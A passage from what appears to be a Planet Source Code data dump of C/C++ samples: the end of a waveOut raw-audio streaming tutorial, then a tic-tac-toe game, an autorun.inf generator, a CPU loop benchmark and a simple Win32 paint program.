\"unable to open WAVE_MAPPER device\\n\");\n ExitProcess(1);\n }\n /*\n * device is now open so print the success message\n * and then close the device again.\n */\n printf(\"The Wave Mapper device was opened successfully!\\n\");\n waveOutClose(hWaveOut);\n return 0; \n}\n </pre>\n </td>\n </tr>\n </table>\n \n \n Note that when compiling this program you will need to add winmm.lib to\n your list of library files or the linker will fail.\n \n \n So that was the first step. The device was ready and waiting for you to write\n audio data to it.\n \n \n \n \n \n Playing a Sound\n \n \n \n \n \n Opening and closing the device is fun for a while but it doesn't actually\n do that much. What we want is to hear a sound. We need to do two things before\n this can happen.\n <ul>\n <li>Obtain a source of raw audio in the correct format</li>\n <li>Work out how to write the data</li>\n </ul>\n Problem 1 is easy to solve. You can convert any music file into raw audio using a \n program like Winamp with the Disk Writer plug-in. Start small and convert one of\n the Windows sounds into a raw file. These files are located in your \\Windows\\Media\n directory. Ding.wav seems like a good choice to start with. If you can't convert\n this to a raw file you can have fun playing the unconverted file back instead. It\n will sound too fast since these files are mostly sampled at 22 kHz.\n \n \n Problem 2 is slightly more tricky. Audio is written in blocks, each with its own\n header. It's easy to write one block but at some point we're going to have to come\n up with a scheme for queuing and writing many blocks. The reason I said to start\n with a small file is that the second version of our application will load the entire\n file as a single block.\n \n \n We will first tackle Problem 2 by writing a function that will send a block of data\n to the audio device. The function will be called writeAudioBlock. To write\n audio data you use up to three functions. These are waveOutPrepareHeader,\n waveOutWrite, and waveOutUnprepareHeader and are called in the\n order I have listed them. It would be a good idea to look these up in your documentation\n now to familiarise yourself with them.\n \n \n Here is the code for a preliminary version of the function writeAudioBlock\n \n \n \n <table bgcolor=\"#e0e0e0\">\n <tr>\n <td>\n <pre>\nvoid writeAudioBlock(HWAVEOUT hWaveOut, LPSTR block, DWORD size)\n{\n WAVEHDR header;\n /*\n * initialise the block header with the size\n * and pointer.\n */\n ZeroMemory(&header, sizeof(WAVEHDR));\n header.dwBufferLength = size;\n header.lpData = block;\n /*\n * prepare the block for playback\n */\n waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));\n /*\n * write the block to the device. waveOutWrite returns immediately\n * unless a synchronous driver is used (not often).\n */\n waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));\n \n /*\n * wait a while for the block to play then start trying\n * to unprepare the header. this will fail until the block has\n * played.\n */\n Sleep(500);\n while(waveOutUnprepareHeader(\n hWaveOut, \n &header, \n sizeof(WAVEHDR)\n ) == WAVERR_STILLPLAYING)\n Sleep(100);\n}\n </pre>\n </td>\n </tr>\n </table>\n \n \n Now we've got a function for writing a block of data we need a function for getting\n hold of one in the first place. That is the task of loadAudioBlock. loadAudioBlock\n will load a file into memory and return a pointer to it. Here is the code for loadAudioBlock.\n \n \n \n <table bgcolor=\"#e0e0e0\">\n <tr>\n <td>\n <pre>\nLPSTR loadAudioBlock(const char* filename, DWORD* blockSize)\n{\n HANDLE hFile = INVALID_HANDLE_VALUE;\n DWORD size = 0;\n DWORD readBytes = 0;\n void* block = NULL;\n /*\n * open the file\n */\n if((hFile = CreateFile(\n filename,\n GENERIC_READ,\n FILE_SHARE_READ,\n NULL,\n OPEN_EXISTING,\n 0,\n NULL\n )) == INVALID_HANDLE_VALUE)\n return NULL;\n /*\n * get it's size, allocate memory and read the file\n * into memory. don't use this on large files!\n */\n do {\n if((size = GetFileSize(hFile, NULL)) == 0) \n break;\n if((block = HeapAlloc(GetProcessHeap(), 0, size)) == NULL)\n break;\n ReadFile(hFile, block, size, &readBytes, NULL);\n } while(0);\n CloseHandle(hFile);\n *blockSize = size;\n return (LPSTR)block;\n}\n </pre>\n </td>\n </tr>\n </table>\n \n \n Finally for this section, here are the changes that must be made to \n the beginning of the file and to main.\n \n \n \n <table bgcolor=\"#e0e0e0\">\n <tr>\n <td>\n <pre>\n#include <windows.h>\n#include <mmsystem.h>\n#include <stdio.h>\nLPSTR loadAudioBlock(const char* filename, DWORD* blockSize);\nvoid writeAudioBlock(HWAVEOUT hWaveOut, LPSTR block, DWORD size);\nint main(int argc, char* argv[])\n{\n HWAVEOUT hWaveOut; \n WAVEFORMATEX wfx; \n LPSTR block; /* pointer to the block */\n DWORD blockSize; /* holds the size of the block */\n \n .\n . (leave middle section as it was) \n .\n printf(\"The Wave Mapper device was opened successfully!\\n\");\n /*\n * load and play the block of audio\n */\n if((block = loadAudioBlock(\"c:\\\\temp\\\\ding.raw\", &blockSize)) == NULL) {\n fprintf(stderr, \"Unable to load file\\n\");\n ExitProcess(1);\n }\n writeAudioBlock(hWaveOut, block, blockSize); \n waveOutClose(hWaveOut);\n \n return 0;\n}\n </pre>\n </td>\n </tr>\n </table>\n \n \n If you've put all the code in the correct place and it compiled it will\n now play small audio files. We've accomplished something similar to what\n the PlaySound function does. Try playing with this. Change the playback\n sample rate (in main) or the sample size (multiple of 8 btw) and see what happens,\n or even the number of channels. You'll find that changing the sample rate or \n number of channels speeds up or slows down the audio. Changing the sample size \n has a somewhat devastating affect!\n \n \n \n \n \n Streaming Audio to the Device\n \n \n \n \n \n As you can probably see the above code has a number of fundamental flaws\n (note that this was deliberate :), the most evident of which are:\n <ul>\n <li>\n We can't play very large files due to the way they are loaded. The current\n method buffers the entire file and plays it all back at once. Audio by its\n very nature is large so we need to find a way of streaming the data to the\n device block by block.\n </li>\n <li>\n The current version of writeAudioBlock is synchronous so writing multiple\n blocks bit by bit will cause a gap between each block output (we can't refill\n the buffer fast enough). Microsoft recommends at least a double buffering\n scheme so that you fill one block while another is playing and then switch the\n blocks. This itself is not nearly enough. Even switching the blocks will cause\n a very small (but annoying) gap in the output.\n </li>\n </ul>\n Fortunately reading in blocks is a very easy exercise so I will defer from writing\n the code for that right now. Rather, I will concentrate on a buffering scheme for\n writing audio to the device in a gapless stream. \n \n \n This problem of block switching is not nearly as serious as it sounds. No you can't\n switch two blocks without a gap but the interface does something which allows you\n to get around this. It maintains a queue of blocks. Any block which you have passed\n through the waveOutPrepareHeader function can be inserted into the queue\n using waveOutWrite. This means we can write 2 (or more) blocks to the device \n and fill a third while the first is playing, then perform the switch while the second\n is playing. This gives us gapless output.\n \n \n The final problem before I describe a method of doing this is, how do we know when a\n block has finished playing? I was doing something very bad in the first version of\n writeAudioBlock and polling the device using waveOutUnprepareHeader until\n the block had finished. We can't do this any more because we need the time to refill\n audio blocks, and there are much better ways offered by the waveOut interface.\n \n \n The waveOut interface offers 4 types of callback mechanism to notify you of when blocks\n have finished playing. These are:\n <ul>\n <li>An event - an event is set when a block completes</li>\n <li>A callback function - a function is called when a block completes</li>\n <li>A thread - a thread message is sent when a block completes</li>\n <li>A window - a window message is sent when a block completes</li>\n </ul>\n The way you specify which of these is used is in the dwCallback parameter of the\n waveOutOpen function. In my method we will be using a function as the callback.\n \n \n So we need a new function: waveOutProc. This (user defined) function is actually \n documented so you can look that up now. As you can see the function is called for three\n things: When the device is opened, closed, and when a block finishes. We are only interested\n in the call for when a block finishes.\n \n \n \n \n \n The Buffering Scheme\n \n \n \n \n \n My buffering scheme works on a principle similar to that discussed above. It requires the\n use of a variable that keeps count of the number of free buffers at any time (yes a semaphore\n would be ideal here but we can't use one, I'll explain why later). This variable is initialised\n to the number of blocks, decremented when a block is written and incremented when a block\n completes. When no blocks are available we wait until the counter is at least 1 and then\n continue writing. This allows us to queue any number of blocks in a ring which is very effective.\n Rather than queuing 3 blocks, I queue more like 20, of about 8 kB each.\n \n \n Now here's something you might have already guessed: waveOutProc is called from a \n different thread. Windows create a thread specifically for managing the audio playback.\n There are a number of restrictions on what you can do in this callback. To quote the Microsoft\n Documentation:\n \n <pre>\n "Applications should not call any system-defined functions from \n inside a callback function, except for EnterCriticalSection, \n LeaveCriticalSection, midiOutLongMsg, midiOutShortMsg, \n OutputDebugString, PostMessage, PostThreadMessage, SetEvent, \n timeGetSystemTime, timeGetTime, timeKillEvent, and timeSetEvent. \n Calling other wave functions will cause deadlock."\n </pre>\n \n Which explains why we can't use a semaphore - it would require the use of ReleaseSemaphore\n which you shouldn't use. In practice it is a little more flexible than this - I have seen\n code that uses semaphores from the callback but what works on one Windows version may not\n work on another. Also, calling waveOut functions from the callback does cause deadlock.\n Ideally we would also call waveOutUnprepareHeader in the callback but we can't do \n that (it doesn't deadlock until you call waveOutReset just for your information :)\n \n \n You'll notice that waveOutOpen provides a method of passing instance data\n (a user defined pointer) to the callback function. We're going to use this to pass a pointer\n to our counter variable.\n \n \n One more thing before we write the waveOutProc function by the way. Since waveOutProc\n is called from a different thread, two threads will end up writing to the block counter variable.\n To avoid any conflict we need to use a Critical Section object (which will be a static module\n variable called waveCriticalSection).\n \n \n Here is the waveOutProc function:\n \n \n \n <table bgcolor=\"#e0e0e0\">\n <tr>\n <td>\n <pre>\nstatic void CALLBACK waveOutProc(\n HWAVEOUT hWaveOut, \n UINT uMsg, \n DWORD dwInstance, \n DWORD dwParam1, \n DWORD dwParam2 \n)\n{\n /*\n * pointer to free block counter\n */\n int* freeBlockCounter = (int*)dwInstance;\n /*\n * ignore calls that occur due to openining and closing the\n * device.\n */\n if(uMsg != WOM_DONE)\n return;\n EnterCriticalSection(&waveCriticalSection);\n (*freeBlockCounter)++;\n LeaveCriticalSection(&waveCriticalSection);\n}\n </pre>\n </td>\n </tr>\n </table>\n \n \n The next thing we need is a couple of functions for allocating and freeing the block memory\n and a new implementation of writeAudioBlock called writeAudio. \n Here are the functions allocateBlocks and freeBlocks. allocateBlocks allocates\n a set number of blocks, with headers at a given size, and freeBlocks frees this memory.\n allocateBlocks will cause the program to exit if it fails. This means we don't need to\n check its return value in main.\n \n \n \n <table bgcolor=\"#e0e0e0\">\n <tr>\n <td>\n <pre>\nWAVEHDR* allocateBlocks(int size, int count)\n{\n unsigned char* buffer;\n int i;\n WAVEHDR* blocks;\n DWORD totalBufferSize = (size + sizeof(WAVEHDR)) * count;\n \n /*\n * allocate memory for the entire set in one go\n */\n if((buffer = HeapAlloc(\n GetProcessHeap(), \n HEAP_ZERO_MEMORY, \n totalBufferSize\n )) == NULL) {\n fprintf(stderr, \"Memory allocation error\\n\");\n ExitProcess(1);\n }\n /*\n * and set up the pointers to each bit\n */\n blocks = (WAVEHDR*)buffer;\n buffer += sizeof(WAVEHDR) * count;\n for(i = 0; i < count; i++) {\n blocks[i].dwBufferLength = size;\n blocks[i].lpData = buffer;\n buffer += size;\n }\n \n return blocks;\n}\nvoid freeBlocks(WAVEHDR* blockArray)\n{\n /* \n * and this is why allocateBlocks works the way it does\n */ \n HeapFree(GetProcessHeap(), 0, blockArray);\n}\n </pre>\n </td>\n </tr>\n </table>\n \n \n The new function writeAudio needs to queue as many blocks as necessary to write\n the data. The basic algorithm is: \n \n \n \n <table>\n <tr>\n <td>\n <pre>\n While there's data available\n If the current free block is prepared\n Unprepare it\n End If\n If there's space in the current free block\n \t\tWrite all the data to the block\n Exit the function\n Else\n Write as much data as is possible to fill the block\n Prepare the block\n Write it\n Decrement the free blocks counter\n Subtract however many bytes were written from the data available\n Wait for at least one block to become free\n Update the current block pointer\n End If\n End While\n </pre>\n </td>\n </tr>\n </table>\n \n This raises a question: How do I tell when a block is prepared and when it isn't? \n This is a fairly easy one actually. Windows makes use of the dwFlags member of the WAVEHDR\n structure. It is used for a few things but one thing waveOutPrepareHeader does\n is set the WHDR_PREPARED flag. All we have to do is test for the flag in the dwFlags \n member.\n \n \n I will make use of the dwUser member of the WAVEHDR structure to maintain a count of\n how full a block is. Here is the listing for the writeAudio function:\n \n \n \n <table bgcolor=\"#e0e0e0\">\n <tr>\n <td>\n <pre>\nvoid writeAudio(HWAVEOUT hWaveOut, LPSTR data, int size)\n{\n WAVEHDR* current;\n int remain;\n current = &waveBlocks[waveCurrentBlock];\n \n while(size > 0) {\n /* \n * first make sure the header we're going to use is unprepared\n */\n if(current->dwFlags & WHDR_PREPARED) \n waveOutUnprepareHeader(hWaveOut, current, sizeof(WAVEHDR));\n if(size < (int)(BLOCK_SIZE - current->dwUser)) {\n memcpy(current->lpData + current->dwUser, data, size);\n current->dwUser += size;\n break;\n }\n remain = BLOCK_SIZE - current->dwUser;\n memcpy(current->lpData + current->dwUser, data, remain);\n size -= remain;\n data += remain;\n current->dwBufferLength = BLOCK_SIZE;\n \n waveOutPrepareHeader(hWaveOut, current, sizeof(WAVEHDR));\n waveOutWrite(hWaveOut, current, sizeof(WAVEHDR));\n \n EnterCriticalSection(&waveCriticalSection);\n waveFreeBlockCount--;\n LeaveCriticalSection(&waveCriticalSection);\n \n /*\n * wait for a block to become free\n */\n while(!waveFreeBlockCount)\n Sleep(10);\n /*\n * point to the next block\n */\n waveCurrentBlock++;\n waveCurrentBlock %= BLOCK_COUNT;\n current = &waveBlocks[waveCurrentBlock];\n current->dwUser = 0;\n }\n}\n </pre>\n </td>\n </tr>\n </table>\n \n \n Now we have this new function for writing the audio you can scrap the writeAudioBlock\n function since it's not being used any more. You can also scrap the loadAudioBlock\n function because the next section will start a new implementation of main that doesn't\n require loadAudioBlock.\n \n \n \n \n \n The Driver Program\n \n \n \n \n \n If you've followed this tutorial right though you will now have a C file containing\n the following functions:\n <ul>\n <li>main</li>\n <li>waveOutProc</li>\n <li>allocateBlocks</li>\n <li>freeBlocks</li>\n <li>writeAudio</li>\n </ul>\n Note that this file won't compile until we strip off the old version of main and\n declare the module variables needed.\n \n We're now going to write a completely new version of main that will stream files\n from disk to the waveOut device. This listing also contains the declarations for the module\n variables and the prototypes for the functions we've already written.\n \n \n \n <table bgcolor=\"#e0e0e0\">\n <tr>\n <td>\n <pre>\n#include <windows.h>\n#include <mmsystem.h>\n#include <stdio.h>\n/*\n * some good values for block size and count\n */\n#define BLOCK_SIZE 8192\n#define BLOCK_COUNT 20\n/*\n * function prototypes\n */ \nstatic void CALLBACK waveOutProc(HWAVEOUT, UINT, DWORD, DWORD, DWORD);\nstatic WAVEHDR* allocateBlocks(int size, int count);\nstatic void freeBlocks(WAVEHDR* blockArray);\nstatic void writeAudio(HWAVEOUT hWaveOut, LPSTR data, int size);\n/*\n * module level variables\n */\nstatic CRITICAL_SECTION waveCriticalSection;\nstatic WAVEHDR* waveBlocks;\nstatic volatile int waveFreeBlockCount;\nstatic int waveCurrentBlock;\nint main(int argc, char* argv[])\n{\n HWAVEOUT hWaveOut; /* device handle */\n HANDLE hFile; /* file handle */\n WAVEFORMATEX wfx; /* look this up in your documentation */\n char buffer[1024]; /* intermediate buffer for reading */\n int i;\n /*\n * quick argument check\n */\n if(argc != 2) {\n fprintf(stderr, \"usage: %s <filename>\\n\", argv[0]);\n ExitProcess(1);\n }\n /*\n * initialise the module variables\n */ \n waveBlocks = allocateBlocks(BLOCK_SIZE, BLOCK_COUNT);\n waveFreeBlockCount = BLOCK_COUNT;\n waveCurrentBlock = 0;\n \n InitializeCriticalSection(&waveCriticalSection);\n /*\n * try and open the file\n */ \n if((hFile = CreateFile(\n argv[1],\n GENERIC_READ,\n FILE_SHARE_READ,\n NULL,\n OPEN_EXISTING,\n 0,\n NULL\n )) == INVALID_HANDLE_VALUE) {\n fprintf(stderr, \"%s: unable to open file '%s'\\n\", argv[0], argv[1]);\n ExitProcess(1);\n }\n /*\n * set up the WAVEFORMATEX structure.\n */\n wfx.nSamplesPerSec = 44100; /* sample rate */\n wfx.wBitsPerSample = 16; /* sample size */\n wfx.nChannels = 2; /* channels */\n wfx.cbSize = 0; /* size of _extra_ info */\n wfx.wFormatTag = WAVE_FORMAT_PCM;\n wfx.nBlockAlign = (wfx.wBitsPerSample * wfx.nChannels) >> 3;\n wfx.nAvgBytesPerSec = wfx.nBlockAlign * wfx.nSamplesPerSec;\n /*\n * try to open the default wave device. WAVE_MAPPER is\n * a constant defined in mmsystem.h, it always points to the\n * default wave device on the system (some people have 2 or\n * more sound cards).\n */\n if(waveOutOpen(\n &hWaveOut, \n WAVE_MAPPER, \n &wfx, \n (DWORD_PTR)waveOutProc, \n (DWORD_PTR)&waveFreeBlockCount, \n CALLBACK_FUNCTION\n ) != MMSYSERR_NOERROR) {\n fprintf(stderr, \"%s: unable to open wave mapper device\\n\", argv[0]);\n ExitProcess(1);\n }\n \n /*\n * playback loop\n */\n while(1) {\n DWORD readBytes;\n if(!ReadFile(hFile, buffer, sizeof(buffer), &readBytes, NULL))\n break;\n if(readBytes == 0)\n break;\n \n if(readBytes < sizeof(buffer)) {\n printf(\"at end of buffer\\n\");\n memset(buffer + readBytes, 0, sizeof(buffer) - readBytes);\n printf(\"after memcpy\\n\");\n }\n \n writeAudio(hWaveOut, buffer, sizeof(buffer));\n }\n /*\n * wait for all blocks to complete\n */\n while(waveFreeBlockCount < BLOCK_COUNT)\n Sleep(10);\n /*\n * unprepare any blocks that are still prepared\n */\n for(i = 0; i < waveFreeBlockCount; i++) \n if(waveBlocks[i].dwFlags & WHDR_PREPARED)\n waveOutUnprepareHeader(hWaveOut, &waveBlocks[i], sizeof(WAVEHDR));\n \n DeleteCriticalSection(&waveCriticalSection);\n freeBlocks(waveBlocks);\n waveOutClose(hWaveOut);\n CloseHandle(hFile);\n \n return 0;\n}\n </pre>\n </td>\n </tr>\n </table>\n \n \n \n \n What Next?\n \n \n \n \n \n What you do now is up to you. I have a few possibly entertaining suggestions:\n <ul>\n <li>Try modifying the rawaudio program so that it reads from standard input.\n This would make an application that you can directly pipe audio into from\n the command line.</li>\n <li>Rework the reader so that it reads Wave (*.wav) files as opposed to RAW files.\n You will find this surprisingly easy, wave files contain a WAVEFORMATEX structure\n to describe their format which you can use when opening the device. See\n wotsit's format (http://www.wotsit.org) for information on the wave file format.</li>\n <li>See if you can come up with any new or better buffering schemes</li>\n <li>Try attaching this code to an open source decoder such as the Vorbis decoder \n or an MP3 decoder that you can acquire the source to. You then have your the beginnings\n of your own media player.</li>\n </ul>\n You can see get my example winamp plug-in from <a href=\"http://www.insomniavisions.com/software\">\n http://www.insomniavisions.com/software</a> and try that. It is also open source.\n \n \n \n \n \n Contacting Me\n \n \n \n \n \n You can contact me (David Overton) by the usual methods available on Planet Source Code.\n \n You can also go to <a href=\"http://www.insomniavisions.com/feedback\">http://www.insomniavisions.com/feedback</a>\n to send feedback from my Website.\n \n A complete working example of the code on this page can be downloaded <a href=\"http://download.insomniavisions.com/sources/rawaudio.zip\">here</a>.\n\n"},{"WorldId":3,"id":4453,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4485,"LineNumber":1,"line":"/*****************************************************************************\n * Author: Ethan Croteau\n * Creation Date: 7/31/02\n * Description: This is a simple console app that allows you to play Tic-Tac-Toe.\n * Compile: This is ANSI C++, it was compiled with Borland CPP 5.5.\n *****************************************************************************/\n#include <iostream.h>\nusing namespace std;\nclass TicTacToe\n{\n public:\n TicTacToe();\n int PlayerMove(int i);\n void NextPlayer();\n void WinCheck();\n void DrawBoard();\n private:\n int board[3][3];\n int turn; // player1 == 1, player2 == 2\n int gameOver;\n void PlayGame();\n};\n/*****************************************************************************\n * Clear the board, set turn for player1, set gameOver to false, draw the board,\n * then away we go!\n *****************************************************************************/\nTicTacToe::TicTacToe()\n{\n for(int i = 0; i < 3; i++)\n for(int j = 0; j < 3; j++)\n board[i][j] = 0; // 0 means empty\n turn = 1; // player1\n gameOver = 0;\n DrawBoard();\n PlayGame();\n}\n/*****************************************************************************\n * i is the board position that the player selects.\n * Calculate the x and y coordinates.\n * Ensure board position is valid. Check if game has been won. Switch Players. Update board.\n * Return: 0 if move was made, otherwise return the value stored in the board position.\n *****************************************************************************/\nint TicTacToe::PlayerMove(int i)\n{\n int x = (i - 1)/3;\n int y = ((i + 2) % 3);\n int returnVal = board[x][y];\n if (returnVal == 0)\n {\n board[x][y] = turn;\n WinCheck();\n if (!gameOver)\n NextPlayer();\n }\n else\n cout << \"Invalid move, try again.\\n\";\n DrawBoard();\n return returnVal;\n}\n/*****************************************************************************\n * If turn equals 1, set it equal to 2. Otherwise set it equal to 1.\n * The switches the active player.\n *****************************************************************************/\nvoid TicTacToe::NextPlayer()\n{\n if (turn == 1)\n turn = 2;\n else\n turn = 1;\n}\n/*****************************************************************************\n * If the game has been won, set gameOver equal to turn.\n * Turn always contains a value that is boolean true: 1 or 2.\n *****************************************************************************/\nvoid TicTacToe::WinCheck()\n{\n if ((board[0][0] == turn) && (board[1][0] == turn) && (board[2][0] == turn))\n gameOver = turn;\n else\n if ((board[0][1] == turn) && (board[1][1] == turn) && (board[2][1] == turn))\n gameOver = turn;\n else\n if ((board[0][2] == turn) && (board[1][2] == turn) && (board[2][2] == turn))\n gameOver = turn;\n else\n if ((board[0][0] == turn) && (board[0][1] == turn) && (board[0][2] == turn))\n gameOver = turn;\n else\n if ((board[1][0] == turn) && (board[1][1] == turn) && (board[1][2] == turn))\n gameOver = turn;\n else\n if ((board[2][0] == turn) && (board[2][1] == turn) && (board[2][2] == turn))\n gameOver = turn;\n else\n if ((board[0][0] == turn) && (board[1][1] == turn) && (board[2][2] == turn))\n gameOver = turn;\n else\n if ((board[0][2] == turn) && (board[1][1] == turn) && (board[2][0] == turn))\n gameOver = turn;\n}\n/*****************************************************************************\n * If the game has been won, set gameOver equal to turn.\n * Turn always contains a value that is boolean true: 1 or 2.\n *****************************************************************************/\nvoid TicTacToe::PlayGame()\n{\n int i;\n while (gameOver!=turn)\n {\n //DrawBoard();\n cout << \"Player[\" << turn << \"] Please enter move: \";\n cin >> i;\n PlayerMove(i);\n }\n cout << \"Player[\" << turn << \"] Wins!\" << endl;\n}\n/*****************************************************************************\n * Display the game board using ASCII characters.\n *****************************************************************************/\nvoid TicTacToe::DrawBoard()\n{\n int temp[9];\n int k = 0;\n for(int i = 0; i < 3; i++)\n for(int j = 0; j < 3; j++)\n {\n if (board[i][j] == 0)\n temp[k] = k+49;\n else\n {\n if (board[i][j] == 1)\n temp[k] = 88;\n else\n temp[k] = 79;\n }\n k++;\n }\n cout << \"+---+---+---+\\n\";\n cout <<\"| \" << (char)temp[0] << \" | \" << (char)temp[1] << \" | \" << (char)temp[2] << \" | \\n\";\n cout << \"+---+---+---+\\n\";\n cout <<\"| \" << (char)temp[3] << \" | \" << (char)temp[4] << \" | \" << (char)temp[5] << \" | \\n\";\n cout << \"+---+---+---+\\n\";\n cout <<\"| \" << (char)temp[6] << \" | \" << (char)temp[7] << \" | \" << (char)temp[8] << \" | \\n\";\n cout << \"+---+---+---+\\n\";\n}\n/*****************************************************************************\n * Instantiate a TicTacToe object, which effectively starts your game play.\n *****************************************************************************/\nint main()\n{\n TicTacToe Game;\n return 0;\n}\n"},{"WorldId":3,"id":4526,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4543,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4545,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4562,"LineNumber":1,"line":"#include <fstream.h>\nint main()\n{\nchar filename[80];\ncout <<\" Welcome To Autorun Maker 1.0 \\n \\n\";\ncout <<\" Please enter the file name you would like to make autorun\\n\";\ncout <<\" ::\";\ncin.get(filename,79);\nofstream file; //creates an ofstream object\n \nfile.open(\"autorun.inf\"); //creates the autorun.inf file and opens it for writing\nfile<<\"[autorun]\\n\"; //writes to the file\nfile<<\"open=\"<<filename<<\"\\n\";\nfile.close();\n return 0;\n}"},{"WorldId":3,"id":6795,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4587,"LineNumber":1,"line":"//If you run this program, please e-mail me (bbwebman@attbi.com)\n//or ICQ me (#13403151) and tell me your type of processor\n//(AMD/Pentium, and tell me your speed. I will update the code\n//on planet-source-code so you will be able to compare to more\n//computers. Thank you! Brian W. Baugh\n//include files needed to compile\n#include <time.h> //for recording the time\n#include <iostream.h> //for cin and cout\n#include <conio.h> //for colors\n#include <stdlib.h> //for pausing the program at the end\nvoid main()\n{ \n //variables to be used in the program \n int timeToRun=0;\n int doubleThis=2;\n int loopcount=0;\n //set text-color to red\n textcolor(LIGHTRED);\n cprintf(\"FOR BEST RESULTS PLEASE DO NOT DO \");\n textcolor(LIGHTGREEN);\n cprintf(\"**\");\n textcolor(WHITE);\n cprintf(\"ANYTHING\");\n textcolor(LIGHTGREEN);\n cprintf(\"**\");\n textcolor(LIGHTRED);\n cprintf(\" ONCE THE TEST HAS BEGUN!\");\n //have the user enter how long the program should run\n cout << \"\\n\\nHow many seconds should the program test your computer?\\n(Choose 15 to compare with other computers): \";\n cin >> timeToRun;\n //used to stop the program after a certain period of time specified by the user\n time_t goal=time(NULL) + timeToRun;\n //the actual loop for testing\n for (; time(NULL)!=goal; loopcount++)\n { \n doubleThis*=2;\n }\n //tell the user the testing has finished\n cout << \"\\n\\n\";\n textcolor(YELLOW);\n cprintf(\"*\");\n textcolor(LIGHTBLUE);\n cprintf(\"=================================================================\");\n textcolor(YELLOW);\n cprintf(\"*\");\n cout << \"\\n Test complete. Here are the results:\\n\"\n << \" ------------------------------------\\n\";\n textcolor(CYAN);\n cprintf(\" YOUR\");\n cout << \" computer : \" << loopcount\n << \" (in \" << timeToRun\n << \" seconds)\\n\\n Compare with other computers:\\n\";\n textcolor(MAGENTA);\n cprintf(\" AMD-1.4GHZ\");\n cout << \" computer : 430000-460000 (in 15 seconds)\\n\";\n cprintf(\" AMD-1.0GHZ\");\n cout << \" computer : 220000-250000 (in 15 seconds)\\n\";\n cprintf(\" PENTIUM-233\");\n cout << \" computer: 47800\"\n << \" (plus or minus 10,000) in 15 seconds.\\n\";\n textcolor(YELLOW);\n cprintf(\"*\");\n textcolor(LIGHTBLUE);\n cprintf(\"=================================================================\");\n textcolor(YELLOW);\n cprintf(\"*\");\n cout << \"\\n\\nResults will vary depending upon how many programs you\\nhave running in the background, memory free, etc.\\n\\n\";\n //some computers normally quit when they reach the end of the program\n //this is to ensure that they at the very least, get to see the results\n system(\"pause\");\n //quit the program\n return 0;\n}"},{"WorldId":3,"id":4615,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4607,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4600,"LineNumber":1,"line":"//Programmer:- Niloy Mondal. Email:- niloygk@yahoo.com\n#include <windows.h>\nLRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;\nint lastx,lasty,x,y;\t\t//GLOBAL VARIABLES used in drawing.\n//The WinMain contains all formality stuff that must be written in almost every Windows Program.\nint WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,\n PSTR szCmdLine, int iCmdShow)\n{\n static TCHAR szAppName[] = TEXT (\"Paint\") ;//Winddow Class name\n HWND hwnd ;\n MSG msg ;\n WNDCLASS wndclass ;\n wndclass.style = CS_HREDRAW | CS_VREDRAW ;\n wndclass.lpfnWndProc = WndProc ;\n wndclass.cbClsExtra = 0 ;\n wndclass.cbWndExtra = 0 ;\n wndclass.hInstance = hInstance ;\n wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ;\n wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;\n wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;\n wndclass.lpszMenuName = NULL ;\n wndclass.lpszClassName = szAppName ;\n if (!RegisterClass (&wndclass))\n {\n MessageBox (NULL, TEXT (\"This program requires Windows 98!\"), \n szAppName, MB_ICONERROR) ;\n return 0 ;\n }\n hwnd = CreateWindow (szAppName, // window class name\n TEXT (\"Paint in Visual C++.\"), // window caption\n WS_OVERLAPPEDWINDOW, // window style\n CW_USEDEFAULT, // initial x position\n CW_USEDEFAULT, // initial y position\n CW_USEDEFAULT, // initial x size\n CW_USEDEFAULT, // initial y size\n NULL, // parent window handle\n NULL, // window menu handle\n hInstance, // program instance handle\n NULL) ; // creation parameters\n \n ShowWindow (hwnd, iCmdShow) ;\n UpdateWindow (hwnd) ;\n \n while (GetMessage (&msg, NULL, 0, 0))\t\t\t\t//The Message Loop\n {\n TranslateMessage (&msg) ;\n DispatchMessage (&msg) ;\n }\n return msg.wParam ;\n}\nvoid line(HDC _hdc,int x1,int y1,int x2,int y2)//This function draws line by the given four coordinates.\n{\n\tMoveToEx(_hdc,x1,y1,NULL);\n\tLineTo(_hdc,x2,y2);\n}\nLRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)\n{\n HDC hdc ;\n PAINTSTRUCT ps ;\n RECT rect ;\n\t \t \n switch (message)\n {\n\t case WM_LBUTTONDOWN:\t\t\t\t\t//If Left mouse button is pressed\n\t\t\tlastx=LOWORD(lParam);\t\t\t//Store the x-coordiante in lastx\n\t\t\tlasty=HIWORD(lParam);\t\t\t//Store the y-coordinate in lasty\n\t\t\treturn 0;\n case WM_MOUSEMOVE:\t\t\t\t\t\t//When mouse is moved on the client area (or form for VB users)\n\t\t hdc = GetDC(hwnd);\t\t\t\t\t//hdc is handle to device context\n\t\t x=LOWORD(lParam);\t\t\t\t\t//Store the current x \n\t\t y=HIWORD(lParam);\t\t\t\t\t//Store the current y\n\t\t if (wParam & MK_LBUTTON)\t\t\t//If Left mouse button is down then draw\n\t\t {\t\n\t\t\tline(hdc,lastx,lasty,x,y);\t\t//Draw the line frome the last pair of coordiates to current\n\t\t\tlastx=x;\t\t\t\t\t\t//The current x becomes the lastx for next line to be drawn\n\t\t\tlasty=y;\t\t\t\t\t\t//The current y becomes the lasty for next line to be drawn\n\t\t }\n\t\t ReleaseDC(hwnd,hdc);\n\t\t return 0;\n case WM_PAINT:\n hdc = BeginPaint (hwnd, &ps) ;\n GetClientRect (hwnd, &rect) ;\n\t\t TextOut(hdc,0,0 ,\"Programmer :- Niloy Mondal. Email:- niloygk@yahoo.com\",53);\t\t \t\t \t\t \n\t\t EndPaint (hwnd, &ps) ;\n return 0 ;\n \n case WM_DESTROY:\n PostQuitMessage (0) ;\n return 0 ;\n }\n return DefWindowProc (hwnd, message, wParam, lParam) 